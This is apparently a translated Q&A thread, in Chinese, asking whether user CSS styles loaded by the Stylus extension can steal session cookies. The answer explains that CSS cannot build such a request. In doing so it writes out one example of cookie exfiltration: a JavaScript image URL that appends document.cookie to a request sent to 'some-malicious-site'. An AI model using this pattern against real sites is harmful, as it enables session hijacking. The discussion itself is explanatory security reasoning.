html - 用户样式 css 可以窃取 cookies 吗？

Question

我喜欢 Stylus 浏览器插件，它可以让 CSS 样式包按照用户的意愿安装。

我看过这个关于 cookie 窃取的精彩视频(作者:Mike Pound|Computerphile):https://www.youtube.com/watch?v=T1QEs3mdJoc

CSS 可以设置元素的背景图像，否则这些元素将没有背景图像(我写了一个在有​​背景图像的地方去掉背景图像的方法，这是相反的)。

观看视频时，庞德博士使用图像(通过未转义的 HTML)URL，该 URL 真正执行需要 session cookie 的 PHP，并返回图像数据。在 11:19 他说这笔交易试图欺骗浏览器发送 cookie。

我的问题:用户样式(真正动态加载的 CSS 规则)是否可以成为通过设置任何元素的 background 并提供带有 PHP session 窃取代码的 URL 来窃取 session cookie 的载体？

如果不是，为什么不呢？ (我想这与内容安全策略有关？)

如果是这样，是否可以在不关闭进行动态 CSS 注入(inject)的附加组件的情况下解决这个问题？

-- 我将很快尝试自己进行一些测试，并且我认为社区至少会愿意将其作为理论进行讨论。

如果我问的是一个愚蠢的问题，请随意投反对票，按钮在那边。

Answer 1

我希望获取背景图像的请求与其所在的服务器有自己的 session (和可能的 cookie)。所以没有 cookies 在那里偷。

我相信，您可以使用 javascript 将 cookie 作为请求变量发送到图像的服务器(例如，将 url 设置为 'http://some-malicious-site/image.php?cookie= ' + document.cookie 东西)。但是，我看不到 CSS 如何执行 javascript 来准备这样的 URL 来做到这一点。 Stylus 浏览器插件或许能够做到这一点，但可能会因来源安全政策而被阻止。